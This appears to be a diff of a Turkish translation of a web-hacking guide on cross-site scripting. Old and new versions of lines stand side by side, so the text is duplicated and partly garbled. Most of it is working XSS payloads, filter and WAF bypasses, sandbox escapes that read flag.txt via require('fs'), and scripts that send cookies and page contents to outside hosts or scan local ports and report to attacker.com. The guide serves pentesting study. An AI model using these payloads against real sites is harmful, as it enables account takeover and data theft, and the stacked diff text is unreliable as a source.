4. Eğer girdiniz "**istismar edilemez etiketlerin**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
```html
@ -69,8 +69,8 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırması ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımsız değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
{{#ref}}
@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı
![](<../../images/image (711).png>)
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, rakamlar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi oldukça yaygındır.
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** hatta **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** gibi istismar edilebilir ve daha fazlası.\
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
Bazı **örnekler**:
{{#ref}}
@ -143,15 +143,15 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## WAF atlatma kodlama resmi
## WAF atlatma kodlaması resmi
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Ham HTML içinde enjekte etme
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu, \*\*\*\*\*\***\***\*`-->`\*\***\***\* veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
```html
@ -162,15 +162,15 @@ alert(1)
<svg onload=alert('XSS')>
```
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olaylar** brute-force yaparak bağlamı nasıl saldırıya uğratabileceğinizi görmeniz gerekecek.
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek, böylece bağlamı nasıl saldırıya uğratabileceğinizi görebilirsiniz.
### Etiketler/Olaylar brute-force
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** yapabilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
### Özel etiketler
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanacak** ve kodu **çalıştıracaktır**:
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -228,29 +228,29 @@ onerror=alert`1`
```
### Length bypass (small XSSs)
> [!NOTE] > **Farklı ortamlar için daha küçük XSS'ler** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
> [!NOTE] > **Farklı ortamlar için daha fazla küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
Sonuncusu, 5'e genişleyen 2 unicode karakteri kullanıyor: telsr\
Bu karakterlerden daha fazlasını [burada](https://www.unicode.org/charts/normalization/) bulabilirsiniz.\
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakabilirsiniz.
The last one is using 2 unicode characters which expands to 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Eğer ığı istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
### İmkansız - Dangling Markup
### Impossible - Dangling Markup
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü ığı **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
Eğer **JS kodunu çalıştırmak için bir özniteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
## HTML etiketinin içine enjekte etme
## Injecting inside HTML tag
### Etiketin içinde/nitelik değerinden kaçış
### Inside the tag/escaping from attribute value
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** olabilir ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırabilirsiniz.\
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
Eğer **etiketten kaçamazsanız**, etikette yeni öznitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların öznitelikten kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,8 +267,8 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
```
### Attribute İçinde
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyorsa), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
Başka ilginç bir **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** göre bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
Bir diğer ilginç **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
@ -303,7 +303,7 @@ Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
```
### Özel Protokoller İçinde attribute
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak için** kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
**Bu protokolleri enjekte edebileceğiniz yerler**
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **ve** **`src`** özniteliğini kabul eden çoğu tagda (ama `<img>` değil) **kullanılabilir**.
```markup
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -351,17 +351,17 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için denerseniz, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**.
**`javascript:` ile Hex ve Octal kodlama kullanma**
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **JS çalıştırmak için HTML etiketleri** tanımlamak amacıyla kullanabilirsiniz:
**HTML etiketlerini JS çalıştırmak için** `iframe`'in `src` niteliği içinde (en azından) **Hex** ve **Octal kodlama** kullanabilirsiniz:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -423,14 +423,14 @@ onbeforetoggle="alert(2)" />
<div popover id="newsletter">Newsletter popup</div>
```
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
```markup
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS yükü şöyle bir şey olacak: `" accesskey="x" onclick="alert(1)" x="`**
### Kara Liste Aşmaları
### Kara Liste Atlatmaları
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp nerelerde kullanabileceğinizi öğrenin:**
Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Nereye kullanabileceğinizi öğrenmek için geri dönün:**
- **HTML kodlama (HTML etiketleri)**
- **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
@ -438,19 +438,19 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **
- **Hex ve Oktal kodlama**
- **veri kodlama**
**HTML etiketleri ve öznitelikler için aşmalar**
**HTML etiketleri ve öznitelikleri için atlatmalar**
[Önceki bölümdeki Kara Liste Aşmalarını](#blacklist-bypasses) okuyun.
[Önceki bölümün Kara Liste Atlatmalarını](#blacklist-bypasses) okuyun.
**JavaScript kodu için aşmalar**
**JavaScript kodu için atlatmalar**
[Aşağıdaki bölümdeki JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) okuyun.
[Aşağıdaki bölümün JavaScript atlatma kara listesini](#javascript-bypass-blacklists-techniques) okuyun.
### CSS-Aletleri
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı **alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Örneğin, öğeye şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin
@ -460,7 +460,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
bulursanız, bağlantınızı şu forma getirebilirsiniz
bulursanız, bağlantımızı şu forma getirebilirsiniz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -468,19 +468,19 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
## JavaScript kodu içine enjekte etme
Bu durumda **girdi** JS kodunun bir `.js` dosyasına veya `<script>...</script>` etiketleri arasına veya JS kodunu çalıştırabilen HTML olayları arasına veya `javascript:` protokolünü kabul eden öznitelikler arasına **yansıtılacaktır**.
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
### \<script> etiketini kaçırma
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kapatmayı** kolayca başarabilirsiniz:
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kolayca kapatmayı** deneyebilirsiniz:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve çalıştırmak için ayrıştırılması ancak sonrasında gerçekleştirilir.
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
### JS kodu içinde
Eğer `<>` temizleniyorsa, **girdiğiniz yerin** **string'ini kaçırabilir** ve **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu çalıştırılmaz:
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -496,15 +496,15 @@ Bu, şu şekilde **kötüye kullanılabilir**:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### Kodun kodlanmış yürütülmesi
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**Parantezsiz JavaScript**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Rastgele fonksiyon (alert) çağrısı**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,24 +735,24 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **DOM zafiyetleri**
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
**Açıklamanın genişletilmesi nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
### Self-XSS'i Yükseltme
### Cookie XSS
Eğer bir XSS'i bir çerezin içinde yükleyerek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -762,7 +762,7 @@ Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.
### Oturumunuzu yöneticilere gönderme
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Belki bir kullanıcı profiline yöneticiyi ekleyebilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
### Oturum Yansıtma
@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir.
### Özel kombinasyonlar
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
@ -943,7 +943,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini kaçırmak** ve rastgele kod çalıştırmak için kullanıldı.
### Chrome Önbelleği ile XSS
@ -953,7 +953,7 @@ chrome-cache-to-xss.md
### XS Jails Kaçışı
Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin:
Kullanabileceğiniz sınırlı bir karakter setiniz varsa, XSJail problemleri için bu diğer geçerli çözümleri kontrol edin:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **sarmalayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür:
```javascript
try {
null.f()
@ -1267,9 +1267,9 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları var](../hacking-with-cookies/index.html#httponly) eğer yeterince şanslıysanız.
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer yeterince şanslıysanız.
### Sayfa İçeriğini Çal
### Sayfa İçeriğini Çalmak
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1339,7 +1339,7 @@ q.shift()()
}
</script>
```
### Port Scanner (fetch)
### Port Tarayıcı (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1360,10 +1360,10 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
